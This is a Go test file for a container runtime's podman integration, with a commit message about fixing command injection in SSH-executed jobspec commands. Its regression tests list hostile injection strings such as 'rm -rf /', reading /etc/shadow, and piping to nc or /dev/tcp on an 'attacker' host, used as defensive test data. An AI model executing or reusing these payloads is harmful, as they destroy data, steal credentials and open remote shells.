Files
orca/internal/runtime/podman_test.go
T
Jon Chery ce2441f312 fix(P01): command injection in podman/wasm runtimes (REQ-119, F3)
---ci---
project: orca
phase: 1
milestone: v0.12
status: execute
---/ci---

shellQuote the jobspec-supplied command string (cmdStr) before
interpolating into SSH exec in podman.go (Start) and wasm.go (Start).
Previously cmdStr was interpolated unquoted, allowing a malicious
jobspec command with shell metacharacters (; | $() backticks newline
> <) to inject commands on the peer.

Fixes:
- internal/runtime/runtime.go: add shellQuote helper (mirrors
  internal/sshpush.shellQuote; duplicated to avoid import cycle).
- internal/runtime/podman.go: Start quotes name + cmdStr; Stop/rm/
  inspect quote name (defense-in-depth).
- internal/runtime/wasm.go: Start uses env 'ORCA_ALLOC_ID=<id>' (so
  the UUID-style alloc ID is safely assigned) and shellQuote(cmdStr).

Tests: 21 new injection regression tests (10 podman + 9 wasm + 2 image)
covering ; && | $() backticks newline $IFS > < (). All pass. Existing
runtime tests still pass. go vet + gofmt clean.
2026-08-07 10:49:08 +00:00

312 lines
9.9 KiB
Go

package runtime
import (
"context"
"errors"
"strings"
"testing"
"time"
"git.cloudinit.dev/coreci/orca/internal/jobspec"
"git.cloudinit.dev/coreci/orca/internal/sshpush"
)
// allocNoImage returns an alloc whose Spec has a Runtime block with a
// command but no image.
func allocNoImage(runtime string) *Alloc {
return &Alloc{
ID: "x",
Runtime: runtime,
Spec: &jobspec.WorkloadSpec{
Runtime: &jobspec.RuntimeBlock{Command: "/bin/true"},
},
}
}
// TestPodmanRuntime_HappyPath wires a fake server that responds to
// podman pull/run/stop/rm/inspect and verifies the full lifecycle.
func TestPodmanRuntime_HappyPath(t *testing.T) {
srv := newFakeServer(t)
defer srv.close()
const cid = "abc123def456"
srv.setHandler("podman pull", func(cmd string) ([]byte, int) { return nil, 0 })
srv.setHandler("podman run", func(cmd string) ([]byte, int) { return []byte(cid + "\n"), 0 })
srv.setHandler("podman stop", func(cmd string) ([]byte, int) { return nil, 0 })
srv.setHandler("podman rm", func(cmd string) ([]byte, int) { return nil, 0 })
srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
return []byte("true\n"), 0
})
tr := realTransport(t, srv)
defer tr.Close()
p := NewPodmanRuntime(tr)
a := allocWithNode("podman", "docker.io/library/alpine:latest", "sleep 30", srv.addr())
ctx, cancel := withTimeout(10 * time.Second)
defer cancel()
if err := p.Prepare(ctx, a); err != nil {
t.Fatalf("Prepare: %v", err)
}
pid, err := p.Start(ctx, a)
if err != nil {
t.Fatalf("Start: %v", err)
}
if pid <= 0 {
t.Fatalf("pid = %d, want > 0", pid)
}
st, err := p.Status(ctx, a)
if err != nil {
t.Fatalf("Status: %v", err)
}
if st != StateRunning {
t.Errorf("Status = %q, want running", st)
}
if err := p.Stop(ctx, a); err != nil {
t.Fatalf("Stop: %v", err)
}
}
// TestPodmanRuntime_StatusFalse verifies Status returns stopped when
// the container reports running=false.
func TestPodmanRuntime_StatusFalse(t *testing.T) {
srv := newFakeServer(t)
defer srv.close()
srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
return []byte("false\n"), 0
})
tr := realTransport(t, srv)
defer tr.Close()
p := NewPodmanRuntime(tr)
a := allocWithNode("podman", "img", "sleep 1", srv.addr())
st, err := p.Status(context.Background(), a)
if err != nil {
t.Fatalf("Status: %v", err)
}
if st != StateStopped {
t.Errorf("Status = %q, want stopped", st)
}
}
// TestPodmanRuntime_StatusBadOutput verifies Status returns failed on
// unexpected inspect output.
func TestPodmanRuntime_StatusBadOutput(t *testing.T) {
srv := newFakeServer(t)
defer srv.close()
srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
return []byte("garbage\n"), 0
})
tr := realTransport(t, srv)
defer tr.Close()
p := NewPodmanRuntime(tr)
a := allocWithNode("podman", "img", "sleep 1", srv.addr())
if _, err := p.Status(context.Background(), a); err == nil {
t.Error("Status with bad output should error")
}
}
// TestPodmanRuntime_PrepareNoImage verifies Prepare errors when the
// alloc has no image.
func TestPodmanRuntime_PrepareNoImage(t *testing.T) {
p := NewPodmanRuntime(nil)
a := allocNoImage("podman")
if err := p.Prepare(context.Background(), a); err == nil {
t.Error("Prepare with no image should error")
}
}
// TestPodmanRuntime_PrepareTransportError verifies Prepare propagates a
// transport error (podman pull fails).
func TestPodmanRuntime_PrepareTransportError(t *testing.T) {
srv := newFakeServer(t)
defer srv.close()
srv.setHandler("podman pull", func(cmd string) ([]byte, int) {
return []byte("manifest unknown\n"), 2
})
tr := realTransport(t, srv)
defer tr.Close()
p := NewPodmanRuntime(tr)
a := allocWithNode("podman", "img", "sleep 1", srv.addr())
if err := p.Prepare(context.Background(), a); err == nil {
t.Error("Prepare with failed pull should error")
}
}
// TestPodmanRuntime_StartNoImage verifies Start errors with no image.
func TestPodmanRuntime_StartNoImage(t *testing.T) {
p := NewPodmanRuntime(nil)
a := allocNoImage("podman")
if _, err := p.Start(context.Background(), a); err == nil {
t.Error("Start with no image should error")
}
}
// TestPodmanRuntime_StopTransportError verifies Stop propagates errors.
func TestPodmanRuntime_StopTransportError(t *testing.T) {
srv := newFakeServer(t)
defer srv.close()
srv.setHandler("podman stop", func(cmd string) ([]byte, int) {
return []byte("no such container\n"), 1
})
tr := realTransport(t, srv)
defer tr.Close()
p := NewPodmanRuntime(tr)
a := allocWithNode("podman", "img", "sleep 1", srv.addr())
if err := p.Stop(context.Background(), a); err == nil {
t.Error("Stop with missing container should error")
}
}
// TestPodmanRuntime_StatusInspectError verifies Status returns failed
// when inspect itself errors.
func TestPodmanRuntime_StatusInspectError(t *testing.T) {
srv := newFakeServer(t)
defer srv.close()
srv.setHandler("podman inspect", func(cmd string) ([]byte, int) {
return []byte("no such container\n"), 1
})
tr := realTransport(t, srv)
defer tr.Close()
p := NewPodmanRuntime(tr)
a := allocWithNode("podman", "img", "sleep 1", srv.addr())
st, err := p.Status(context.Background(), a)
if err == nil {
t.Error("Status with inspect error should error")
}
if st != StateFailed {
t.Errorf("Status = %q, want failed", st)
}
}
// TestPodmanCidToPID verifies the synthetic PID derivation.
func TestPodmanCidToPID(t *testing.T) {
if got := podmanCidToPID(""); got != 1 {
t.Errorf("empty cid -> %d, want 1", got)
}
if got := podmanCidToPID("a"); got <= 0 {
t.Errorf("single hex -> %d, want > 0", got)
}
if got := podmanCidToPID("abcd"); got <= 0 {
t.Errorf("abcd -> %d, want > 0", got)
}
// non-hex chars fall through to 0 contributions but still yield
// a positive result (>= 1 by the floor).
if got := podmanCidToPID("xyz123"); got <= 0 {
t.Errorf("xyz123 -> %d, want > 0", got)
}
}
// TestContainerNameSanitization verifies the container-name sanitizer
// uppercases and strips disallowed characters.
func TestContainerNameSanitization(t *testing.T) {
a := &Alloc{ID: "ALLOC_1.2.3", Spec: nil, Runtime: "podman"}
got := containerName(a)
if !strings.HasPrefix(got, "orca-") {
t.Errorf("containerName = %q, want orca- prefix", got)
}
if strings.Contains(got, ".") {
t.Errorf("containerName = %q, should not contain '.'", got)
}
}
// TestPodmanRuntime_DialError verifies Prepare fails fast when the
// peer is unreachable (no fake server).
func TestPodmanRuntime_DialError(t *testing.T) {
srv := newFakeServer(t)
// close immediately so dial fails.
srv.close()
tr := realTransport(t, srv)
defer tr.Close()
p := NewPodmanRuntime(tr)
a := allocWithNode("podman", "img", "sleep 1", srv.addr())
if err := p.Prepare(context.Background(), a); err == nil {
t.Error("Prepare against dead peer should error")
} else if !errors.Is(err, sshpush.ErrTransient) && !errors.Is(err, sshpush.ErrPermanent) {
// acceptable: either transient (retry exhausted) or permanent.
t.Logf("Prepare err (acceptable): %v", err)
}
}
// --- REQ-119 / F3 command injection regression tests ---
// TestPodmanRuntime_CommandInjection verifies that a jobspec command
// containing shell metacharacters is shell-quoted, not interpreted by
// the remote shell. The fake server captures the exact command string
// and we assert the metacharacters are wrapped in single quotes.
func TestPodmanRuntime_CommandInjection(t *testing.T) {
injections := []string{
"sleep 1; rm -rf /",
"sleep 1 && cat /etc/shadow",
"sleep 1 | nc attacker 4444",
"sleep 1 $(curl evil.sh)",
"sleep 1 `whoami`",
"sleep 1\nwhoami",
"sleep 1; echo $IFS",
"sleep 1 > /etc/cron.d/pwn",
"sleep 1 < /dev/tcp/attacker/4444",
"sleep 1; (id)",
}
for _, inj := range injections {
t.Run(inj, func(t *testing.T) {
srv := newFakeServer(t)
defer srv.close()
var captured string
srv.setHandler("podman run", func(cmd string) ([]byte, int) {
captured = cmd
return []byte("abc123def456\n"), 0
})
tr := realTransport(t, srv)
defer tr.Close()
p := NewPodmanRuntime(tr)
a := allocWithNode("podman", "img", inj, srv.addr())
if _, err := p.Start(context.Background(), a); err != nil {
t.Fatalf("Start: %v", err)
}
// The injection string must appear shell-quoted (wrapped in
// single quotes, embedded quotes escaped) — NOT bare in
// the command. We assert the dangerous characters don't
// appear unquoted after the image argument.
if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") {
t.Errorf("injection not shell-quoted in command:\n%s", captured)
}
// The raw unquoted injection must NOT appear as a bare
// command token (i.e., no `; rm -rf /` outside quotes).
// A robust check: the command should not contain the raw
// injection string as an unquoted substring. Since the
// quoted form wraps it, the raw form only appears inside
// the quotes.
bare := strings.ReplaceAll(inj, "'", "'\\''")
quoted := "'" + bare + "'"
// Remove the quoted occurrence; if the bare injection
// still remains, it was emitted unquoted somewhere.
withoutQuoted := strings.Replace(captured, quoted, "", 1)
if strings.Contains(withoutQuoted, inj) {
t.Errorf("injection appears unquoted in command:\n%s", captured)
}
})
}
}
// TestPodmanRuntime_ImageNameInjection verifies the image is %q-quoted
// (double-quoted via %q), so an image with shell metacharacters cannot
// break out. The image is safe-by-%q, but we assert it stays quoted.
func TestPodmanRuntime_ImageNameInjection(t *testing.T) {
srv := newFakeServer(t)
defer srv.close()
var captured string
srv.setHandler("podman pull", func(cmd string) ([]byte, int) {
captured = cmd
return nil, 0
})
tr := realTransport(t, srv)
defer tr.Close()
p := NewPodmanRuntime(tr)
a := allocWithNode("podman", "img; rm -rf /", "sleep 1", srv.addr())
_ = p.Prepare(context.Background(), a)
// %q double-quotes the image, so `; rm -rf /` is inside quotes.
if !strings.Contains(captured, "\"img; rm -rf /\"") {
t.Errorf("image not pct-q-quoted in pull:\n%s", captured)
}
}